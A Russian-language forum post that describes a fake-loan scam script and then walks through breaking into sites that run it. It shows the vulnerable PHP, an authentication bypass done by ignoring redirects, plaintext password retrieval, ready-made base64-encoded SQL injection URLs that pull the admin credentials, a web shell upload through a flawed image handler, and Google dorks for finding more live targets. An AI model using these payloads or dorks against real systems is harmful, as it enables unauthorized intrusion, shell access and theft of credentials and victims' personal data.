Объявление

Свернуть
Пока нет объявлений.

Ломаем псевдокредиты

Свернуть
X
 
  • Фильтр
  • Время
  • Показать
Очистить всё
новые сообщения

  • Ломаем псевдокредиты

    Как всем известно, есть около 400 способов относительно честного отъема денег у народа. Сегодня мы вам расскажем еще об одном.

    Есть такой скрипт, который на разных мигалках/дубликатах/криминаланетах продавался от юзера под ником SOX.

    Суть наебки в следующем:

    1. Жертва ищет, где бы взять кредит (чаще всего - чтобы рассчитаться с другими кредитами).
    2. Жертва находит наеб-скрипт, заполняет заявку и отправляет жуликам (уже профит - можно продать скан/личные данные).
    3. Кредит жертве одобрен, но чтобы его получить, надо оплатить небольшую комиссию, а для этого надо пополнить "свою" карту (реквизиты карты одинаковы для всех жертв и указываются в наеб-скрипте).
    4. Жертва оплачивает комиссию, но кредит почему-то нельзя получить...
    5. ???
    6. PROFIT

    Спустя некоторое время улетел SOX в баню, а скрипт его оказался на проверку SUX (отстой, другими словами). Проанализирован и анально захекан.

    Обход авторизации.

    В коде много ****еца, но мы отметим только те баги, которые позволят нам залить шелл. Начнем мы с шикарнейшего кода в в файле /administrator/includes/admin_header.php:
    <?php
    include('../settings/config.php');
    include("../include/class.pager.php");
    include("../include/variables.php");
    include("../antixss.php");
    if(!isset($_SESSION["adminusername"]))
    {
    header("location: index.php?mg=session");
    }
    ?>
    Надо было лишь дописать exit. Конечно, это не спасло бы от похека, просто это только упрощает нашу работу. Все что нужно - просто отключить редиректы (или лазить через бурп и менять ответы с 302 на 200) и можно уже шариться по админке:



    И мы уже можем палить юзеров:
    /administrator/userlist.php
    Узнаем id:



    Теперь тащим логин/пароль:
    /administrator/edituser.php?action=edit&uid=221
    Просматриваем код странички, пароль там лежит как есть, в качестве логина используется почтовый ящик.

    Заходим под данными пользователя в кабинет (/login.php):



    SQL-инъекция

    Находясь в кабинете пользователя заходим в раздел "служба поддержки". Файл support.php содержит следующие строки в коде:
    if(isset($_GET["Go"])){
    $sql=dbQuery("select * from `support` where `".base64_decode($_GET["Go"])."`='".$_SESSION["userlogin"]."' order by `id` desc");
    //прочее
    Старая добрая SQL-инъекция, для успешного похека кодируем в base64 строку:
    id`=-1 uNiOn sEleCt 1,2,username,4,5,6,7,8 FrOm adminlogin #
    И делаем запрос:
    /support.php?Go=aWRgPS0xIHVOaU9uIHNFbGVDdCAxLDIsdXNlcm5hbWUsNCw1LDYsNyw4IEZyT20gYWRtaW5sb2dpbiAjIA==
    Получаем логин - admin, теперь надо получить пароль:
    id`=-1 uNiOn sEleCt 1,2,password,4,5,6,7,8 FrOm adminlogin #
    Кодируем:
    /support.php?Go=aWRgPS0xIHVOaU9uIHNFbGVDdCAxLDIscGFzc3dvcmQsNCw1LDYsNyw4IEZyT20gYWRtaW5sb2dpbiAjIA==
    Видим:



    Очевидно, что это base64, декодируем и вот у нас уже есть логин/пароль администратора. Заходим в админку...



    Нам необходимо изменить имя одного из пользователей - меняем с русского на английский (чтобы в дальнейшем проще было залить шелл).

    Upload shell

    Заходим под юзером и заливаем шелл. Очередная чудо-ошибонька. /querys/myaccount_sc/chg-pic_sc.php:

    $output_dir = "userimg/";
    $allowedExts = array("jpg", "jpeg", "gif", "png","JPG");
    $extension = @end(explode(".", $_FILES["myfile"]["name"]));
    if(isset($_POST['upload']))
    {
    //Filter the file types , if you want.
    if ((($_FILES["myfile"]["type"] == "image/gif")
    || ($_FILES["myfile"]["type"] == "image/jpeg")
    || ($_FILES["myfile"]["type"] == "image/JPG")
    || ($_FILES["myfile"]["type"] == "image/png")
    || ($_FILES["myfile"]["type"] == "image/pjpeg"))
    && ($_FILES["myfile"]["size"] < 504800)
    && in_array($extension, $allowedExts))
    {
    if ($_FILES["myfile"]["error"] > 0)
    {
    echo "Return Code: " . $_FILES["myfile"]["error"] . "<br>";
    }
    if (file_exists($output_dir. $_FILES["myfile"]["name"]))
    {
    unlink($output_dir. $_FILES["myfile"]["name"]);
    }
    else
    {
    $pic=$_FILES["myfile"]["name"];
    $conv=explode(".",$pic);
    $ext=$conv['1'];

    //move the uploaded file to uploads folder;
    move_uploaded_file($_FILES["myfile"]["tmp_name"],$output_dir.$user.".".$ext);
    Легко и просто заливаем шелл и далее заходим по адресу /userimg/username.php и вуаля:



    Шик. Блеск. Красота.

    Найдем еще больше таких скриптов:
    inurl:login.php intext:Открыть счёт intitle:"Личный кабинет"
    inurl:login.php intext:Я забыл свой пароль intitle:"Личный кабинет"
    inurlassword.php intext:"Регистрация и отправка заявки на займ"
    Как видите, любой скрипт надо проверять, даже если автор пишет, что съел собаку на программировании)

    С радостью проверим ваши скрипты на уязвимости.
Обработка...
X